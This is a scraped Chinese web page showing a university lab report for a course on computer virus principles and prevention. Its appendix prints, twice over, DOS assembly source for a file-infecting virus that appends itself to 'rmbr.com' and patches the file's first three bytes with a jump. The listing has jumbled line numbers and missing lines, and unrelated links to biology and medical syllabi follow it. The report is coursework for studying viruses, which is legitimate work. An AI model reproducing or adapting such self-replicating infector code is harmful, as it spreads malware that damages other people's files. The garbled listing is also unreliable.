计算机病毒原理与防治实验报告2

天津理工大学

计算机与通信工程学院

实验报告

2014 至 2015 学年 第 二 学期

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

附录(可包括源程序清单或其它说明)

code segment ; 1 assume cs:code,ds:code,ss:code ; 2

org 100h ; 3 start: ; 4 nop ; 防止原始病毒代码被覆盖了预留3个字节 ; 5 nop ; 6

nop ; 7

vstart: ; 8

call locate ; 9

locate: ; 10

pop si ; 得到当前IP ; 11

sub si,offset locate ; 12

mov ax,WORD PTR ds:first_3byte[si] ; 在内存中恢复原程序的头3个字节 mov ds:[100h],ax ; 14

mov al,ds:first_3byte[si+2] ; 15

mov ds:[102h],al ; 16

mov ax,3d02h ; 开档,读写属性 ; 17 lea dx,fname[si] ; 18

int 21h ; 19 ; 13

mov ah,3fh ; 保存头3个字节 ; 21 mov cx,3 ; 22

lea dx,first_3byte[si] ; 23

int 21h ; 24

mov ax,4202h ; 移动文件指针到文件尾部 ; 25 xor cx,cx ; 26

xor dx,dx ; 27

int 21h ; 28

sub ax,3 ; 上面操作返回的AX 的就当前文件指针的地址 ; 29 mov word ptr jmp_3byte[si+1],ax ; 保存下来 ; 30

mov ax,4000h ; 将病毒体附加在感染文件的后面 ; 31 mov cx,vsize ; 32

lea dx,vstart[si] ; 33

int 21h ; 34

mov ax,4200h ; 移动文件指针到文件开头 ; 35 xor cx,cx ; 36

23

int 21h ; 38

mov ah,40h ; 将构造的 JMP 指令写进去 ; 39 mov cx,3 ; 40

lea dx,jmp_3byte[si] ; 41

int 21h ; 42

mov ah,3eh ; 关闭文件 ; 43

int 21h ; 44

mov ax,100h ; 病毒完成工作,返回到原程序工作 push ax ; 46

ret ; 47

first_3byte db 0cdh,20h,0 ; 构造CD20 反汇编后是 INT 20H jmp_3BYTE db 0e9h,?,? ; e9h 构造一套JMP 指令 fname db 'rmbr.com',0 ; 要感染的文件名 vsize equ $-offset vstart ; 51

code ends ; 52

end start ; 53

24 ; 45 ; 48 ; 49 ; 50

天津理工大学

计算机与通信工程学院

实验报告

2014 至 2015 学年 第 二 学期

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

附录(可包括源程序清单或其它说明)

code segment ; 1 assume cs:code,ds:code,ss:code ; 2

org 100h ; 3 start: ; 4 nop ; 防止原始病毒代码被覆盖了预留3个字节 ; 5 nop ; 6

nop ; 7

vstart: ; 8

call locate ; 9

locate: ; 10

pop si ; 得到当前IP ; 11

sub si,offset locate ; 12

mov ax,WORD PTR ds:first_3byte[si] ; 在内存中恢复原程序的头3个字节 mov ds:[100h],ax ; 14

mov al,ds:first_3byte[si+2] ; 15

mov ds:[102h],al ; 16

mov ax,3d02h ; 开档,读写属性 ; 17 lea dx,fname[si] ; 18

int 21h ; 19 ; 13

mov ah,3fh ; 保存头3个字节 ; 21 mov cx,3 ; 22

lea dx,first_3byte[si] ; 23

int 21h ; 24

mov ax,4202h ; 移动文件指针到文件尾部 ; 25 xor cx,cx ; 26

xor dx,dx ; 27

int 21h ; 28

sub ax,3 ; 上面操作返回的AX 的就当前文件指针的地址 ; 29 mov word ptr jmp_3byte[si+1],ax ; 保存下来 ; 30

mov ax,4000h ; 将病毒体附加在感染文件的后面 ; 31 mov cx,vsize ; 32

lea dx,vstart[si] ; 33

int 21h ; 34

mov ax,4200h ; 移动文件指针到文件开头 ; 35 xor cx,cx ; 36

23

int 21h ; 38

mov ah,40h ; 将构造的 JMP 指令写进去 ; 39 mov cx,3 ; 40

lea dx,jmp_3byte[si] ; 41

int 21h ; 42

mov ah,3eh ; 关闭文件 ; 43

int 21h ; 44

mov ax,100h ; 病毒完成工作,返回到原程序工作 push ax ; 46

ret ; 47

first_3byte db 0cdh,20h,0 ; 构造CD20 反汇编后是 INT 20H jmp_3BYTE db 0e9h,?,? ; e9h 构造一套JMP 指令 fname db 'rmbr.com',0 ; 要感染的文件名 vsize equ $-offset vstart ; 51

code ends ; 52

end start ; 53

24 ; 45 ; 48 ; 49 ; 50


相关内容

  • 病原生物与免疫学基础
  • <病原生物与免疫学基础>课程教学大纲 课程代码: 总学时数:72 理论环节学时数:56 实践环节学时数:16 适用专业:临床医学 先修课程:人体解剖和组织胚胎学,生物化学,生理学 学分: 开课单位: 一.课程性质及任务 性质:该课程是研究抗原性异物的性状.补体的活化机制.免疫球蛋白的结构 ...

  • 公路风吹雪观测工作报告-交通部西部交通建设科技项目管理-
  • 公路风吹雪雪害成因与预警研究 研究报告简本 目 录 1.项目研究目的和意义 ..........................................2 2.国内外研究现状 ..............................................2 2.1风吹雪雪害形成 ...

  • 制药工程学课程教学大纲
  • <制药工程学>课程教学大纲 课程编号:02033 英文名称:Pharmaceutical engineering 一.课程说明 1. 课程类别 专业课程 2. 适应专业及课程性质 制药工程专业.制药工程专业(基地班) 选修 3. 课程目的 制药工程学是制药工程专业的主干专业课程,也是我校 ...

  • 水产微生物学教学计划
  • ( 2008/ 2009 学年第二学期) 授 课 计 划 课 程 名 称 授 课 班 级 课程总学时 本学期计划学时 任 课 教 师 教 研 室 制 订 日 期 水产微生物学 2007高职水产 72 72学时 动科教研室 2008年9月2日 授课计划表 <水产微生物学>教学大纲 一.课程 ...

  • 住院医师培训各项管理制度
  • 住院医师培训各项管理制度(细则) 一.住院医师行政管理制度 (一) 住院医师必须经过上岗前教育.技能培训,考核合格方能上岗工作. (二) 住院医师应自觉遵守医院的各项规章制度,必须严格遵守医院规定的作息时间,按时上下班,不迟到.不早退.不擅离岗位.不得擅自调班.私自请他人代班.认真履行<住院医 ...

  • 煤炭实训招标文件
  • 标书编号:BXGZ2012-014号 彬县职教中心 煤矿实操实训设备采购 招 标 文 件 彬县政府采购中心 二O一二年十一月 目 录 第一部分 招标公告 第二部分 第三部分 第四部分投标人须知 招标内容及技术要求商务要求 第一部分 招标公告 彬县政府采购中心受彬县职教中心的委托,按照政府采购程序,对 ...

  • 医学伦理与卫生法学考试大纲
  • 医学伦理与卫生法学考试大纲 一.医学伦理 (一)医学伦理概述 掌握 医学与医学伦理学的核心问题:完整人与完整人的医疗的内涵:医学伦理学概念.医学伦理学发展的三个阶段.特点及其研究范围. 熟悉 医学道德形成的时代特点.医学的内在特征等. 了解 现代医学科学技术和商业化对医学带来的冲击. (二)医学伦理 ...

  • 初中化学教学大纲
  • 九年义务教育全日制初级中学 化学教学大纲 (试用修订版) 中华人民共和国教育部制订 化学是一门基础自然科学,它研究物质的组成.结构.性质以及变化规律.化学与社会生活.生产有着广泛的联系,对于我国实现工业.农业.国防和科学技术现代化具有极其重要的作用. 初级中学的化学教学是化学教育的启蒙阶段.要贯彻全 ...

  • 植物病毒学复习题
  • 植物病毒学复习题 1. 你是怎么认识病毒的害与益的?请举例说明. 害:病毒危害多种多样:侵害人体,影响人类健康,造成畜.禽等动物的传染疾病:危害农作物使其致病,影响产量和质量.病毒确实有害,特别是经济全球化,人口城市化,加上气候变暖,环境恶化,更加剧了新兴病毒的发生和原有病毒的传播.危害.举例:据报 ...